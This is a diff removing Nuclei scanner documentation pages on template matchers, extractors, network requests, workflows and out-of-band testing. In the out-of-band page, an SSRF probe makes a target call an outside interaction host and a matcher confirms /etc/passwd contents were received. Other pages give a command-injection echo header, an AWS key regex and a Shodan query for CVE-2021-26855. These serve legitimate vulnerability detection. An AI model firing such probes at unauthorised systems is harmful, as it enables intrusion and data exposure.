The example above demonstrates that there is no need for new logic or syntax. Simply write the logic for each protocol and then use the protocol-prefixed variable or the [dynamic extractor](https://docs.nuclei.sh/template-guide/operators/extractors#dynamic-extractor) to export that variable. This variable is then shared across all protocols. We refer to this as the **Template Context**, which contains all variables that are scoped at the template level.
|
||||
|
||||
## Features
|
||||
|
||||
The following features enhance the power of multi-protocol execution:
|
||||
|
||||
- Protocol-Scoped Shared Variables Across Protocols
|
||||
- Data Export across Protocols using Dynamic Extractor
|
||||
|
||||
### Protocol Scoped Variables
|
||||
|
||||
In the previous example, we demonstrated how to export the DNS CNAME and use it in an HTTP request. However, you might encounter a scenario where a template includes more than four protocols, and you need to export various response fields such as `subject_dn`, `ns`, `cname`, `header`, and so on. While you could achieve this by adding more dynamic extractors, this approach could clutter the template and introduce redundant logic, making it difficult to track and maintain all the variables.
|
||||
|
||||
To address this issue, multi-protocol execution supports template-scoped protocol responses. This means that all response fields from all protocols in a template are available in the template context with a protocol prefix.
|
||||
|
||||
Here's an example to illustrate this:
|
||||
|
||||
Protocol | Response Field | Exported Variable |
|
||||
-------- | -------------- | ----------------- |
|
||||
ssl | subject_cn | ssl_subject_cn |
|
||||
dns | cname | dns_cname |
|
||||
http | header | http_header |
|
||||
code | response | code_response |
|
||||
|
||||
This is just an example, but it's important to note that the response fields of all protocols used in a multi-protocol template are exported.
|
||||
|
||||
**Example:**
|
||||
|
||||
```yaml
|
||||
id: dns-ssl-http-proto-prefix
|
||||
|
||||
info:
|
||||
name: multi protocol request with response fields
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
dns:
|
||||
- name: "{{FQDN}}" # DNS Request
|
||||
type: cname
|
||||
|
||||
ssl:
|
||||
- address: "{{Hostname}}" # ssl request
|
||||
|
||||
http:
|
||||
- method: GET # http request
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- contains(http_body,'ProjectDiscovery.io') # check for http string
|
||||
- trim_suffix(dns_cname,'.ghost.io.') == 'projectdiscovery' # check for cname (extracted information from dns response)
|
||||
- ssl_subject_cn == 'blog.projectdiscovery.io'
|
||||
condition: and
|
||||
```
|
||||
To list all exported response fields write a multi protocol template and run it with `-v -svd` flag and it will print all exported response fields
|
||||
|
||||
Example:
|
||||
|
||||
```bash
|
||||
nuclei -t multi-protocol-template.yaml -u scanme.sh -debug -svd
|
||||
```
|
||||
|
||||
### Data Export across Protocols
|
||||
|
||||
If you are unfamiliar with dynamic extractors, we recommend reading the [dynamic extractor](https://docs.nuclei.sh/template-guide/operators/extractors#dynamic-extractor) section first.
|
||||
|
||||
Previously, Dynamic Extractors were only supported for specific protocols or workflows. However, with multi-protocol execution, dynamically extracted values are stored in the template context and can be used across all protocols.
|
||||
|
||||
**Example:**
|
||||
|
||||
```yaml
|
||||
id: dns-http-template
|
||||
|
||||
info:
|
||||
name: dns + http takeover template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
dns:
|
||||
- name: "{{FQDN}}" # dns request
|
||||
type: cname
|
||||
|
||||
extractors:
|
||||
- type: dsl
|
||||
name: exported_cname
|
||||
dsl:
|
||||
- cname
|
||||
internal: true
|
||||
|
||||
http:
|
||||
- method: GET # http request
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- contains(body,'Domain not found') # check for http string
|
||||
- contains(exported_cname, 'github.io') # check for cname (extracted information from dns response)
|
||||
condition: and
|
||||
```
|
||||
## How Multi Protocol Works?
|
||||
|
||||
At this point we have seen how multi protocol templates look like and what are the features it brings to the table. Now let's see how multi protocol templates work and things to keep in mind while writing them.
|
||||
|
||||
- Multi Protocol Templates are executed in order of protocols defined in template.
|
||||
- Protocols in multi protocol templates are executed in serial i.e one after another.
|
||||
- Response fields of protocols are exported to template context as soon as that protocol is executed.
|
||||
- Variables are scoped at template level and evaluated after each protocol execution.
|
||||
- Multi protocol brings limited indirect support for preprocessing(using variables) and postprocessing(using dynamic extractors) for protocols.
|
||||
|
||||
## FAQ
|
||||
|
||||
**What Protocols are supported in Multi-Protocol Execution Mode?**
|
||||
|
||||
> There is no restriction around any protocol and any protocol available/implemented in nuclei engine can be used in multi protocol templates
|
||||
|
||||
**How many protocols can be used in Multi-Protocol Execution Mode?**
|
||||
|
||||
> There is no restriction around number of protocols but currently duplicated protocols are not supported i.e dns -> http -> ssl -> http. Please open a issue if you have a vulnerabilty/usecase that requires duplicated protocols
|
||||
|
||||
**What happens if a protocol fails?**
|
||||
|
||||
> Multi Protocol Execution follows exit on error policy i.e if protocol fails to execute then execution of remaining protocols is skipped and template execution is stopped
|
||||
|
||||
**How is multi protocol execution different from workflows?**
|
||||
|
||||
> Workflow as name suggest is a workflow that executes templates based on workflow file
|
||||
> - Workflow does not contain actual logic of vulnerability but just a workflow that executes different templates
|
||||
> - Workflow supports conditional execution of multiple templates
|
||||
> - Workflow has limited supported for variables and dynamic extractors
|
||||
|
||||
To summarize workflow is a step higher than template and manages execution of templates based on workflow file
|
||||
|
||||
**Is multi protocol execution supported in nuclei v2?**
|
||||
|
||||
> No, Multi Protocol Execution is only supported in nuclei v3 and above
|
||||
@ -1,167 +0,0 @@
|
||||
---
|
||||
title: "Network"
|
||||
---
|
||||
|
||||
Nuclei can act as an automatable **Netcat**, allowing users to send bytes across the wire and receive them, while providing matching and extracting capabilities on the response.
|
||||
|
||||
Network Requests start with a **network** block which specifies the start of the requests for the template.
|
||||
|
||||
```yaml
|
||||
# Start the requests for the template right here
|
||||
tcp:
|
||||
```
|
||||
|
||||
### Inputs
|
||||
|
||||
First thing in the request is **inputs**. Inputs are the data that will be sent to the server, and optionally any data to read from the server.
|
||||
|
||||
At it's most simple, just specify a string, and it will be sent across the network socket.
|
||||
|
||||
```yaml
|
||||
# inputs is the list of inputs to send to the server
|
||||
inputs:
|
||||
- data: "TEST\r\n"
|
||||
```
|
||||
|
||||
You can also send hex encoded text that will be first decoded and the raw bytes will be sent to the server.
|
||||
|
||||
```yaml
|
||||
inputs:
|
||||
- data: "50494e47"
|
||||
type: hex
|
||||
- data: "\r\n"
|
||||
```
|
||||
|
||||
Helper function expressions can also be defined in input and will be first evaluated and then sent to the server. The last Hex Encoded example can be sent with helper functions this way -
|
||||
|
||||
```yaml
|
||||
inputs:
|
||||
- data: 'hex_decode("50494e47")\r\n'
|
||||
```
|
||||
|
||||
One last thing that can be done with inputs is reading data from the socket. Specifying `read-size` with a non-zero value will do the trick. You can also assign the read data some name, so matching can be done on that part.
|
||||
|
||||
```yaml
|
||||
inputs:
|
||||
- read-size: 8
|
||||
```
|
||||
|
||||
Example with reading a number of bytes, and only matching on them.
|
||||
|
||||
```yaml
|
||||
inputs:
|
||||
- read-size: 8
|
||||
name: prefix
|
||||
...
|
||||
matchers:
|
||||
- type: word
|
||||
part: prefix
|
||||
words:
|
||||
- "CAFEBABE"
|
||||
```
|
||||
|
||||
Multiple steps can be chained together in sequence to do network reading / writing.
|
||||
|
||||
### Host
|
||||
|
||||
The next part of the requests is the **host** to connect to. Dynamic variables can be placed in the path to modify its value on runtime. Variables start with `{{` and end with `}}` and are case-sensitive.
|
||||
|
||||
1. **Hostname** - variable is replaced by the hostname provided on command line.
|
||||
|
||||
An example name value:
|
||||
|
||||
```yaml
|
||||
host:
|
||||
- "{{Hostname}}"
|
||||
```
|
||||
|
||||
Nuclei can also do TLS connection to the target server. Just add `tls://` as prefix before the **Hostname** and you're good to go.
|
||||
|
||||
```yaml
|
||||
host:
|
||||
- "tls://{{Hostname}}"
|
||||
```
|
||||
|
||||
If a port is specified in the host, the user supplied port is ignored and the template port takes precedence.
|
||||
|
||||
### Port
|
||||
|
||||
Starting from Nuclei v2.9.15, a new field called `port` has been introduced in network templates. This field allows users to specify the port separately instead of including it in the host field.
|
||||
|
||||
Previously, if you wanted to write a network template for an exploit targeting SSH, you would have to specify both the hostname and the port in the host field, like this:
|
||||
```yaml
|
||||
host:
|
||||
- "{{Hostname}}"
|
||||
- "{{Host}}:22"
|
||||
```
|
||||
|
||||
In the above example, two network requests are sent: one to the port specified in the input/target, and another to the default SSH port (22).
|
||||
|
||||
The reason behind introducing the port field is to provide users with more flexibility when running network templates on both default and non-default ports. For example, if a user knows that the SSH service is running on a non-default port of 2222 (after performing a port scan with service discovery), they can simply run:
|
||||
|
||||
```bash
|
||||
$ nuclei -u scanme.sh:2222 -id xyz-ssh-exploit
|
||||
```
|
||||
|
||||
In this case, Nuclei will use port 2222 instead of the default port 22. If the user doesn't specify any port in the input, port 22 will be used by default. However, this approach may not be straightforward to understand and can generate warnings in logs since one request is expected to fail.
|
||||
|
||||
Another issue with the previous design of writing network templates is that requests can be sent to unexpected ports. For example, if a web service is running on port 8443 and the user runs:
|
||||
|
||||
```bash
|
||||
$ nuclei -u scanme.sh:8443
|
||||
```
|
||||
|
||||
In this case, `xyz-ssh-exploit` template will send one request to `scanme.sh:22` and another request to `scanme.sh:8443`, which may return unexpected responses and eventually result in errors. This is particularly problematic in automation scenarios.
|
||||
|
||||
To address these issues while maintaining the existing functionality, network templates can now be written in the following way:
|
||||
|
||||
```yaml
|
||||
host:
|
||||
- "{{Hostname}}"
|
||||
port: 22
|
||||
```
|
||||
In this new design, the functionality to run templates on non-standard ports will still exist, except for the default reserved ports (`80`, `443`, `8080`, `8443`, `8081`, `53`). Additionally, the list of default reserved ports can be customized by adding a new field called exclude-ports:
|
||||
|
||||
```yaml
|
||||
exclude-ports: 80,443
|
||||
```
|
||||
When `exclude-ports` is used, the default reserved ports list will be overwritten. This means that if you want to run a network template on port `80`, you will have to explicitly specify it in the port field.
|
||||
|
||||
#### Matchers / Extractor Parts
|
||||
|
||||
Valid `part` values supported by **Network** protocol for Matchers / Extractor are -
|
||||
|
||||
| Value | Description |
|
||||
|------------------|-------------------------------------|
|
||||
| request | Network Request |
|
||||
| data | Final Data Read From Network Socket |
|
||||
| raw / body / all | All Data received from Socket |
|
||||
|
||||
### **Example Network Template**
|
||||
|
||||
The final example template file for a `hex` encoded input to detect MongoDB running on servers with working matchers is provided below.
|
||||
|
||||
```yaml
|
||||
id: input-expressions-mongodb-detect
|
||||
|
||||
info:
|
||||
name: Input Expression MongoDB Detection
|
||||
author: pdteam
|
||||
severity: info
|
||||
reference: https://github.com/orleven/Tentacle
|
||||
|
||||
tcp:
|
||||
- inputs:
|
||||
- data: "{{hex_decode('3a000000a741000000000000d40700000000000061646d696e2e24636d640000000000ffffffff130000001069736d6173746572000100000000')}}"
|
||||
host:
|
||||
- "{{Hostname}}"
|
||||
port: 27017
|
||||
read-size: 2048
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "logicalSessionTimeout"
|
||||
- "localTime"
|
||||
```
|
||||
|
||||
More complete examples are provided [here](/template-example/network).
|
||||
@ -1,72 +0,0 @@
|
||||
---
|
||||
title: "OOB Testing"
|
||||
---
|
||||
|
||||
Since release of [Nuclei v2.3.6](https://github.com/projectdiscovery/nuclei/releases/tag/v2.3.6), Nuclei supports using the [interact.sh](https://github.com/projectdiscovery/interactsh) API to achieve OOB based vulnerability scanning with automatic Request correlation built in. It's as easy as writing `{{interactsh-url}}` anywhere in the request, and adding a matcher for `interact_protocol`. Nuclei will handle correlation of the interaction to the template & the request it was generated from allowing effortless OOB scanning.
|
||||
|
||||
## Interactsh Placeholder
|
||||
|
||||
`{{interactsh-url}}` placeholder is supported in **http** and **network** requests.
|
||||
|
||||
An example of nuclei request with `{{interactsh-url}}` placeholders is provided below. These are replaced on runtime with unique interact.sh URLs.
|
||||
|
||||
```yaml
|
||||
- raw:
|
||||
- |
|
||||
GET /plugins/servlet/oauth/users/icon-uri?consumerUri=https://{{interactsh-url}} HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
```
|
||||
|
||||
## Interactsh Matchers
|
||||
|
||||
Interactsh interactions can be used with `word`, `regex` or `dsl` matcher/extractor using following parts.
|
||||
|
||||
| part |
|
||||
|---------------------|
|
||||
| interactsh_protocol |
|
||||
| interactsh_request |
|
||||
| interactsh_response |
|
||||
|
||||
<Note>
|
||||
**interactsh_protocol**
|
||||
|
||||
Value can be dns, http or smtp. This is the standard matcher for every interactsh based template with DNS often as the common value as it is very non-intrusive in nature.
|
||||
</Note>
|
||||
|
||||
<Note>
|
||||
**interactsh_request**
|
||||
|
||||
The request that the interact.sh server received.
|
||||
</Note>
|
||||
|
||||
<Note>
|
||||
**interactsh_response**
|
||||
|
||||
The response that the interact.sh server sent to the client.
|
||||
</Note>
|
||||
|
||||
Example of Interactsh DNS Interaction matcher:
|
||||
|
||||
```yaml
|
||||
matchers:
|
||||
- type: word
|
||||
part: interactsh_protocol # Confirms the DNS Interaction
|
||||
words:
|
||||
- "dns"
|
||||
```
|
||||
|
||||
Example of HTTP Interaction matcher + word matcher on Interaction content
|
||||
|
||||
```yaml
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: interactsh_protocol # Confirms the HTTP Interaction
|
||||
words:
|
||||
- "http"
|
||||
|
||||
- type: regex
|
||||
part: interactsh_request # Confirms the retrieval of /etc/passwd file
|
||||
regex:
|
||||
- "root:[x*]:0:0:"
|
||||
```
|
||||
@ -1,122 +0,0 @@
|
||||
---
|
||||
title: "Extractors"
|
||||
---
|
||||
|
||||
## Extractors
|
||||
|
||||
Extractors can be used to extract and display in results a match from the response returned by a module.
|
||||
|
||||
|
||||
### Types
|
||||
|
||||
Multiple extractors can be specified in a request. As of now we support five type of extractors.
|
||||
|
||||
1. **regex** - Extract data from response based on a Regular Expression.
|
||||
2. **kval** - Extract `key: value`/`key=value` formatted data from Response Header/Cookie
|
||||
3. **json** - Extract data from JSON based response in JQ like syntax.
|
||||
4. **xpath** - Extract xpath based data from HTML Response
|
||||
5. **dsl** - Extract data from the response based on a DSL expressions.
|
||||
|
||||
### Regex Extractor
|
||||
|
||||
Example extractor for HTTP Response body using **regex** -
|
||||
|
||||
```yaml
|
||||
extractors:
|
||||
- type: regex # type of the extractor
|
||||
part: body # part of the response (header,body,all)
|
||||
regex:
|
||||
- "(A3T[A-Z0-9]|AKIA|AGPA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" # regex to use for extraction.
|
||||
```
|
||||
|
||||
### Kval Extractor
|
||||
|
||||
A **kval** extractor example to extract `content-type` header from HTTP Response.
|
||||
|
||||
```yaml
|
||||
extractors:
|
||||
- type: kval # type of the extractor
|
||||
kval:
|
||||
- content_type # header/cookie value to extract from response
|
||||
```
|
||||
|
||||
Note that `content-type` has been replaced with `content_type` because **kval** extractor does not accept dash (`-`) as input and must be substituted with underscore (`_`).
|
||||
|
||||
### JSON Extractor
|
||||
|
||||
A **json** extractor example to extract value of `id` object from JSON block.
|
||||
|
||||
```yaml
|
||||
- type: json # type of the extractor
|
||||
part: body
|
||||
name: user
|
||||
json:
|
||||
- '.[] | .id' # JQ like syntax for extraction
|
||||
```
|
||||
|
||||
For more details about JQ - https://github.com/stedolan/jq
|
||||
|
||||
### Xpath Extractor
|
||||
|
||||
A **xpath** extractor example to extract value of `href` attribute from HTML response.
|
||||
|
||||
```yaml
|
||||
extractors:
|
||||
- type: xpath # type of the extractor
|
||||
attribute: href # attribute value to extract (optional)
|
||||
xpath:
|
||||
- '/html/body/div/p[2]/a' # xpath value for extraction
|
||||
```
|
||||
|
||||
With a simple [copy paste in browser](https://www.scientecheasy.com/2020/07/find-xpath-chrome.html/), we can get the **xpath** value form any web page content.
|
||||
|
||||
### DSL Extractor
|
||||
|
||||
A **dsl** extractor example to extract the effective `body` length through the `len` helper function from HTTP Response.
|
||||
|
||||
```yaml
|
||||
extractors:
|
||||
- type: dsl # type of the extractor
|
||||
dsl:
|
||||
- len(body) # dsl expression value to extract from response
|
||||
```
|
||||
|
||||
### Dynamic Extractor
|
||||
|
||||
Extractors can be used to capture Dynamic Values on runtime while writing Multi-Request templates. CSRF Tokens, Session Headers, etc. can be extracted and used in requests. This feature is only available in RAW request format.
|
||||
|
||||
Example of defining a dynamic extractor with name `api` which will capture a regex based pattern from the request.
|
||||
|
||||
```yaml
|
||||
extractors:
|
||||
- type: regex
|
||||
name: api
|
||||
part: body
|
||||
internal: true # Required for using dynamic variables
|
||||
regex:
|
||||
- "(?m)[0-9]{3,10}\\.[0-9]+"
|
||||
```
|
||||
|
||||
The extracted value is stored in the variable **api**, which can be utilised in any section of the subsequent requests.
|
||||
|
||||
If you want to use extractor as a dynamic variable, you must use `internal: true` to avoid printing extracted values in the terminal.
|
||||
|
||||
An optional regex **match-group** can also be specified for the regex for more complex matches.
|
||||
|
||||
```yaml
|
||||
extractors:
|
||||
- type: regex # type of extractor
|
||||
name: csrf_token # defining the variable name
|
||||
part: body # part of response to look for
|
||||
# group defines the matching group being used.
|
||||
# In GO the "match" is the full array of all matches and submatches
|
||||
# match[0] is the full match
|
||||
# match[n] is the submatches. Most often we'd want match[1] as depicted below
|
||||
group: 1
|
||||
regex:
|
||||
- '<input\sname="csrf_token"\stype="hidden"\svalue="([[:alnum:]]{16})"\s/>'
|
||||
```
|
||||
|
||||
The above extractor with name `csrf_token` will hold the value extracted by `([[:alnum:]]{16})` as `abcdefgh12345678`.
|
||||
|
||||
If no group option is provided with this regex, the above extractor with name `csrf_token` will hold the full match (by `<input name="csrf_token"\stype="hidden"\svalue="([[:alnum:]]{16})" />`) as `<input name="csrf_token" type="hidden" value="abcdefgh12345678" />`.
|
||||
@ -1,186 +0,0 @@
|
||||
---
|
||||
title: "Matchers"
|
||||
---
|
||||
|
||||
## Matchers
|
||||
|
||||
Matchers allow different type of flexible comparisons on protocol responses. They are what makes nuclei so powerful, checks are very simple to write and multiple checks can be added as per need for very effective scanning.
|
||||
|
||||
### Types
|
||||
|
||||
Multiple matchers can be specified in a request. There are basically 7 types of matchers:
|
||||
|
||||
| Matcher Type | Part Matched |
|
||||
|--------------|-----------------------------|
|
||||
| status | Integer Comparisons of Part |
|
||||
| size | Content Length of Part |
|
||||
| word | Part for a protocol |
|
||||
| regex | Part for a protocol |
|
||||
| binary | Part for a protocol |
|
||||
| dsl | Part for a protocol |
|
||||
| xpath | Part for a protocol |
|
||||
|
||||
To match status codes for responses, you can use the following syntax.
|
||||
|
||||
```yaml
|
||||
matchers:
|
||||
# Match the status codes
|
||||
- type: status
|
||||
# Some status codes we want to match
|
||||
status:
|
||||
- 200
|
||||
- 302
|
||||
```
|
||||
|
||||
To match binary for hexadecimal responses, you can use the following syntax.
|
||||
|
||||
```yaml
|
||||
matchers:
|
||||
- type: binary
|
||||
binary:
|
||||
- "504B0304" # zip archive
|
||||
- "526172211A070100" # RAR archive version 5.0
|
||||
- "FD377A585A0000" # xz tar.xz archive
|
||||
condition: or
|
||||
part: body
|
||||
```
|
||||
|
||||
Matchers also support hex encoded data which will be decoded and matched.
|
||||
|
||||
```yaml
|
||||
matchers:
|
||||
- type: word
|
||||
encoding: hex
|
||||
words:
|
||||
- "50494e47"
|
||||
part: body
|
||||
```
|
||||
|
||||
**Word** and **Regex** matchers can be further configured depending on the needs of the users.
|
||||
|
||||
**XPath** matchers use XPath queries to match XML and HTML responses. If the XPath query returns any results, it's considered a match.
|
||||
|
||||
```yaml
|
||||
matchers:
|
||||
- type: xpath
|
||||
part: body
|
||||
xpath:
|
||||
- "/html/head/title[contains(text(), 'Example Domain')]"
|
||||
```
|
||||
|
||||
Complex matchers of type **dsl** allows building more elaborate expressions with helper functions. These function allow access to Protocol Response which contains variety of data based on each protocol. See protocol specific documentation to learn about different returned results.
|
||||
|
||||
|
||||
```yaml
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- "len(body)<1024 && status_code==200" # Body length less than 1024 and 200 status code
|
||||
- "contains(toupper(body), md5(cookie))" # Check if the MD5 sum of cookies is contained in the uppercase body
|
||||
```
|
||||
|
||||
Every part of a Protocol response can be matched with DSL matcher. Some examples -
|
||||
|
||||
| Response Part | Description | Example |
|
||||
|----------------|-------------------------------------------------|------------------------|
|
||||
| content_length | Content-Length Header | content_length >= 1024 |
|
||||
| status_code | Response Status Code | status_code==200 |
|
||||
| all_headers | Unique string containing all headers | len(all_headers) |
|
||||
| body | Body as string | len(body) |
|
||||
| header_name | Lowercase header name with `-` converted to `_` | len(user_agent) |
|
||||
| raw | Headers + Response | len(raw) |
|
||||
|
||||
|
||||
### Conditions
|
||||
|
||||
Multiple words and regexes can be specified in a single matcher and can be configured with different conditions like **AND** and **OR**.
|
||||
|
||||
1. **AND** - Using AND conditions allows matching of all the words from the list of words for the matcher. Only then will the request be marked as successful when all the words have been matched.
|
||||
2. **OR** - Using OR conditions allows matching of a single word from the list of matcher. The request will be marked as successful when even one of the word is matched for the matcher.
|
||||
|
||||
### Matched Parts
|
||||
|
||||
Multiple parts of the response can also be matched for the request, default matched part is `body` if not defined.
|
||||
|
||||
Example matchers for HTTP response body using the AND condition:
|
||||
|
||||
```yaml
|
||||
matchers:
|
||||
# Match the body word
|
||||
- type: word
|
||||
# Some words we want to match
|
||||
words:
|
||||
- "[core]"
|
||||
- "[config]"
|
||||
# Both words must be found in the response body
|
||||
condition: and
|
||||
# We want to match request body (default)
|
||||
part: body
|
||||
```
|
||||
|
||||
Similarly, matchers can be written to match anything that you want to find in the response body allowing unlimited creativity and extensibility.
|
||||
|
||||
### Negative Matchers
|
||||
|
||||
All types of matchers also support negative conditions, mostly useful when you look for a match with an exclusions. This can be used by adding `negative: true` in the **matchers** block.
|
||||
|
||||
Here is an example syntax using `negative` condition, this will return all the URLs not having `PHPSESSID` in the response header.
|
||||
|
||||
```yaml
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "PHPSESSID"
|
||||
part: header
|
||||
negative: true
|
||||
```
|
||||
|
||||
### Multiple Matchers
|
||||
|
||||
Multiple matchers can be used in a single template to fingerprint multiple conditions with a single request.
|
||||
|
||||
Here is an example of syntax for multiple matchers.
|
||||
|
||||
```yaml
|
||||
matchers:
|
||||
- type: word
|
||||
name: php
|
||||
words:
|
||||
- "X-Powered-By: PHP"
|
||||
- "PHPSESSID"
|
||||
part: header
|
||||
- type: word
|
||||
name: node
|
||||
words:
|
||||
- "Server: NodeJS"
|
||||
- "X-Powered-By: nodejs"
|
||||
condition: or
|
||||
part: header
|
||||
- type: word
|
||||
name: python
|
||||
words:
|
||||
- "Python/2."
|
||||
- "Python/3."
|
||||
condition: or
|
||||
part: header
|
||||
```
|
||||
|
||||
### Matchers Condition
|
||||
|
||||
While using multiple matchers the default condition is to follow OR operation in between all the matchers, AND operation can be used to make sure return the result if all matchers returns true.
|
||||
|
||||
```yaml
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "X-Powered-By: PHP"
|
||||
- "PHPSESSID"
|
||||
condition: or
|
||||
part: header
|
||||
|
||||
- type: word
|
||||
words:
|
||||
- "PHP"
|
||||
part: body
|
||||
```
|
||||
@ -1,32 +0,0 @@
|
||||
---
|
||||
title: "Preprocessors"
|
||||
---
|
||||
|
||||
## Template **Preprocessors**
|
||||
|
||||
Certain pre-processors can be specified globally anywhere in the template that run as soon as the template is loaded to achieve things like random ids generated for each template run.
|
||||
|
||||
|
||||
### randstr
|
||||
|
||||
<Note>
|
||||
Generates a [random ID](https://github.com/rs/xid) for a template on each nuclei run. This can be used anywhere in the template and will always contain the same value. `randstr` can be suffixed by a number, and new random ids will be created for those names too. Ex. `{{randstr_1}}` which will remain same across the template.
|
||||
|
||||
`randstr` is also supported within matchers and can be used to match the inputs.
|
||||
</Note>
|
||||
|
||||
For example:-
|
||||
|
||||
```yaml
|
||||
http:
|
||||
- method: POST
|
||||
path:
|
||||
- "{{BaseURL}}/level1/application/"
|
||||
headers:
|
||||
cmd: echo '{{randstr}}'
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- '{{randstr}}'
|
||||
```
|
||||
@ -1,53 +0,0 @@
|
||||
---
|
||||
title: "Template Details"
|
||||
---
|
||||
|
||||
Each template has a unique ID which is used during output writing to specify the template name for an output line.
|
||||
|
||||
The template file ends with **YAML** extension. The template files can be created any text editor of your choice.
|
||||
|
||||
```yaml
|
||||
id: git-config
|
||||
```
|
||||
|
||||
ID must not contain spaces. This is done to allow easier output parsing.
|
||||
|
||||
### Information
|
||||
|
||||
Next important piece of information about a template is the **info** block. Info block provides **name**, **author**, **severity**, **description**, **reference**, **tags** and `metadata`. It also contains **severity** field which indicates the severity of the template, **info** block also supports dynamic fields, so one can define N number of `key: value` blocks to provide more useful information about the template. **reference** is another popular tag to define external reference links for the template.
|
||||
|
||||
Another useful tag to always add in `info` block is **tags**. This allows you to set some custom tags to a template, depending on the purpose like `cve`, `rce` etc. This allows nuclei to identify templates with your input tags and only run them.
|
||||
|
||||
Example of an info block -
|
||||
```yaml
|
||||
info:
|
||||
name: Git Config File Detection Template
|
||||
author: Ice3man
|
||||
severity: medium
|
||||
description: Searches for the pattern /.git/config on passed URLs.
|
||||
reference: https://www.acunetix.com/vulnerabilities/web/git-repository-found/
|
||||
tags: git,config
|
||||
```
|
||||
Actual requests and corresponding matchers are placed below the info block, and they perform the task of making requests to target servers and finding if the template request was successful.
|
||||
|
||||
Each template file can contain multiple requests to be made. The template is iterated and one by one the desired requests are made to the target sites.
|
||||
|
||||
|
||||
The best part of this is you can simply share your crafted template with your teammates, triage/security team to replicate the issue on the other side with ease.
|
||||
|
||||
#### Metadata
|
||||
|
||||
It's possible to add metadata nodes, for example, to integrates with [uncover](https://github.com/projectdiscovery/uncover) (cf. [Uncover Integration](https://nuclei.projectdiscovery.io/nuclei/get-started/#uncover-integration)).
|
||||
|
||||
The metadata nodes are crafted this way: `<engine>-query: '<query>'` where:
|
||||
|
||||
- `<engine>` is the search engine, equivalent of the value of the `-ue` option of nuclei or the `-e` option of uncover
|
||||
- `<query>` is the search query, equivalent of the value of the `-uq` option of nuclei or the `-q` option of uncover
|
||||
|
||||
For example for Shodan:
|
||||
|
||||
```
|
||||
info:
|
||||
metadata:
|
||||
shodan-query: 'vuln:CVE-2021-26855'
|
||||
```
|
||||
@ -1,74 +0,0 @@
|
||||
---
|
||||
title: "Variables"
|
||||
---
|
||||
|
||||
## Variables
|
||||
|
||||
Variables can be used to declare some values which remain constant throughout the template. The value of the variable once calculated does not change. Variables can be either simple strings or DSL helper functions. If the variable is a helper function, it is enclosed in double-curly brackets `{{<expression>}}`. Variables are declared at template level.
|
||||
|
||||
Example variables -
|
||||
|
||||
```yaml
|
||||
variables:
|
||||
a1: "test" # A string variable
|
||||
a2: "{{to_lower(rand_base(5))}}" # A DSL function variable
|
||||
```
|
||||
|
||||
Currently, `dns`, `http`, `headless` and `network` protocols support variables.
|
||||
|
||||
Example of templates with variables -
|
||||
|
||||
```yaml
|
||||
# Variable example using HTTP requests
|
||||
id: variables-example
|
||||
|
||||
info:
|
||||
name: Variables Example
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
variables:
|
||||
a1: "value"
|
||||
a2: "{{base64('hello')}}"
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
GET / HTTP/1.1
|
||||
Host: {{FQDN}}
|
||||
Test: {{a1}}
|
||||
Another: {{a2}}
|
||||
stop-at-first-match: true
|
||||
matchers-condition: or
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "value"
|
||||
- "aGVsbG8="
|
||||
```
|
||||
|
||||
```yaml
|
||||
# Variable example for network requests
|
||||
id: variables-example
|
||||
|
||||
info:
|
||||
name: Variables Example
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
variables:
|
||||
a1: "PING"
|
||||
a2: "{{base64('hello')}}"
|
||||
|
||||
tcp:
|
||||
- host:
|
||||
- "{{Hostname}}"
|
||||
inputs:
|
||||
- data: "{{a1}}"
|
||||
read-size: 8
|
||||
matchers:
|
||||
- type: word
|
||||
part: data
|
||||
words:
|
||||
- "{{a2}}"
|
||||
```
|
||||
@ -1,166 +0,0 @@
|
||||
---
|
||||
title: "Workflows"
|
||||
---
|
||||
|
||||
## Workflows
|
||||
|
||||
Workflows allow users to define an execution sequence for templates. The templates will be run on the defined conditions. These are the most efficient way to use nuclei, where all the templates are configured based on needs of users. This means, you can create Technology Based / Target based workflows, like WordPress Workflow, Jira Workflow which only run when the specific technology is detected.
|
||||
|
||||
All templates part of a workflow share a common execution context, hence the named extractors from a template are accessible to other templates just by referring to it with its name.
|
||||
|
||||
If the tech stack is known, we recommend creating your custom workflows to run your scans. This leads to much lower scan times with better results.
|
||||
|
||||
Workflows can be defined with `workflows` attribute, following the `template` / `subtemplates` and `tags` to execute.
|
||||
|
||||
```yaml
|
||||
workflows:
|
||||
- template: http/technologies/template-to-execute.yaml
|
||||
```
|
||||
|
||||
**Type of workflows**
|
||||
|
||||
1. Generic workflows
|
||||
2. Conditional workflows
|
||||
|
||||
### Generic Workflows
|
||||
|
||||
In generic workflow one can define single or multiple template to be executed from a single workflow file. It supports both files and directories as input.
|
||||
|
||||
A workflow that runs all config related templates on the list of give URLs.
|
||||
|
||||
```yaml
|
||||
workflows:
|
||||
- template: http/exposures/configs/git-config.yaml
|
||||
- template: http/exposures/configs/exposed-svn.yaml
|
||||
- template: http/vulnerabilities/generic/generic-env.yaml
|
||||
- template: http/exposures/backups/zip-backup-files.yaml
|
||||
- tags: xss,ssrf,cve,lfi
|
||||
```
|
||||
|
||||
A workflow that runs specific list of checks defined for your project.
|
||||
|
||||
```yaml
|
||||
workflows:
|
||||
- template: http/cves/
|
||||
- template: http/exposures/
|
||||
- tags: exposures
|
||||
```
|
||||
### Conditional Workflows
|
||||
|
||||
